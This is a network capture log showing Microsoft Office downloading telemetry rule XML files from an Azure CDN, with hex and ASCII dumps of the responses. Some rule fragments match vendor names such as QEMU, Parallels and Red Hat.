2024-10-29 12:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:30 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: c1ca1df0-401e-0029-1e3a-269b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120830Z-17c5cb586f6lxnvg801rcb3n8n000000067g00000000b3th x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:30 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120830Z-16849878b78qf2gleqhwczd21s00000006m000000000eth8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:30 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:30 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120830Z-16849878b78x6gn56mgecg60qc00000008bg000000005fux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:31 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:31 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120831Z-16849878b78fssff8btnns3b1400000006t0000000008a0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:31 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120831Z-16849878b78wc6ln1zsrz6q9w8000000065000000000a4ks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:32 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:32 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120832Z-16849878b78fkwcjkpn19c5dsn00000005h0000000007nr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:32 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:32 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120832Z-16849878b78hh85qc40uyr8sc800000006pg00000000g316 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:32 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:32 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4814b401-401e-005b-1e73-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120832Z-17c5cb586f6lxnvg801rcb3n8n000000068g000000009vk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:32 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:32 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120832Z-16849878b78g2m84h2v9sta29000000005gg0000000016d9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: f491e318-501e-008f-212c-289054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120832Z-r197bdfb6b46krmwag4tzr9x7c00000006c0000000002a6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:33 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:33 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120833Z-16849878b78fkwcjkpn19c5dsn00000005dg00000000g7f4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:33 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: cce6b4d6-601e-000d-171c-292618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120833Z-r197bdfb6b4qbfppwgs4nqza800000000560000000002ypg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
